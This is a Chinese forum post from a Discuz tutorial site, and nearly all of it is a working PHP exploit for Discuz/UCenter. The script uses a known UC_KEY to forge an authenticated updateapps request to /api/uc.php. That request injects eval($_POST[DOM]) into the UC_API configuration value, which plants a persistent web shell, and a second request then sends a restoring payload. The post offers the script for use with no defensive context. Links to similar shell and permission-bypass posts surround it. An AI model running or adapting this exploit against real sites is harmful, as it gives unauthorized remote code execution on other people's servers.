Discuz教程网

Discuz的利用UC_KEY进行getshell

[复制链接]
authicon dly 发表于 2014-3-7 14:03:45 | 显示全部楼层 |阅读模式
  1. <?php
  2. // 代码版权归原作者所有!
  3.     $timestamp = time()+10*3600;
  4.     $host="127.0.0.1";
  5.     $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd";
  6.     $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
  7.     $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
  8. <root>
  9. <item id="UC_API">http://x\');eval($_POST[DOM]);//</item>
  10. </root>';
  11.     $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
  12. <root>
  13. <item id="UC_API">http://x</item>
  14. </root>';
  15.     $html1 = send($cmd1);
  16.     echo $html1;
  17.     $html2 = send($cmd2);
  18.     echo $html2;
  19.       
  20.       
  21. function send($cmd){
  22.     global $host,$code;
  23.     $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
  24.     $message .= "Accept: */*\r\n";
  25.     $message .= "Referer: ".$host."\r\n";
  26.     $message .= "Accept-Language: zh-cn\r\n";
  27.     $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
  28.     $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
  29.     $message .= "Host: ".$host."\r\n";
  30.     $message .= "Content-Length: ".strlen($cmd)."\r\n";
  31.     $message .= "Connection: Close\r\n\r\n";
  32.     $message .= $cmd;
  33.       
  34.     //var_dump($message);
  35.     $fp = fsockopen($host, 80);
  36.     fputs($fp, $message);
  37.       
  38.     $resp = '';
  39.    
  40.     while ($fp && !feof($fp))
  41.         $resp .= fread($fp, 1024);
  42.       
  43.     return $resp;
  44. }
  45.    
  46. function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
  47.     $ckey_length = 4;
  48.    
  49.     $key = md5($key ? $key : UC_KEY);
  50.     $keya = md5(substr($key, 0, 16));
  51.     $keyb = md5(substr($key, 16, 16));
  52.     $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
  53.    
  54.     $cryptkey = $keya.md5($keya.$keyc);
  55.     $key_length = strlen($cryptkey);
  56.    
  57.     $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
  58.     $string_length = strlen($string);
  59.    
  60.     $result = '';
  61.     $box = range(0, 255);
  62.    
  63.     $rndkey = array();
  64.     for($i = 0; $i <= 255; $i++) {
  65.         $rndkey[$i] = ord($cryptkey[$i % $key_length]);
  66.     }
  67.    
  68.     for($j = $i = 0; $i < 256; $i++) {
  69.         $j = ($j + $box[$i] + $rndkey[$i]) % 256;
  70.         $tmp = $box[$i];
  71.         $box[$i] = $box[$j];
  72.         $box[$j] = $tmp;
  73.     }
  74.    
  75.     for($a = $j = $i = 0; $i < $string_length; $i++) {
  76.         $a = ($a + 1) % 256;
  77.         $j = ($j + $box[$a]) % 256;
  78.         $tmp = $box[$a];
  79.         $box[$a] = $box[$j];
  80.         $box[$j] = $tmp;
  81.         $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  82.     }
  83.    
  84.     if($operation == 'DECODE') {
  85.         if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
  86.             return substr($result, 26);
  87.         } else {
  88.                 return '';
  89.             }
  90.     } else {
  91.         return $keyc.str_replace('=', '', base64_encode($result));
  92.     }
  93.    
  94. }
  95. ?>
复制代码




上一篇:Discuz! X2 后台鸡肋 包含[非常鸡肋] 在特定的环境下,可拿shell
下一篇:Discuz附件下载权限绕过方法
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

1314学习网 ( 浙ICP备10214163号 )

GMT+8, 2024-5-4 07:34

Powered by Discuz! X3.4

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表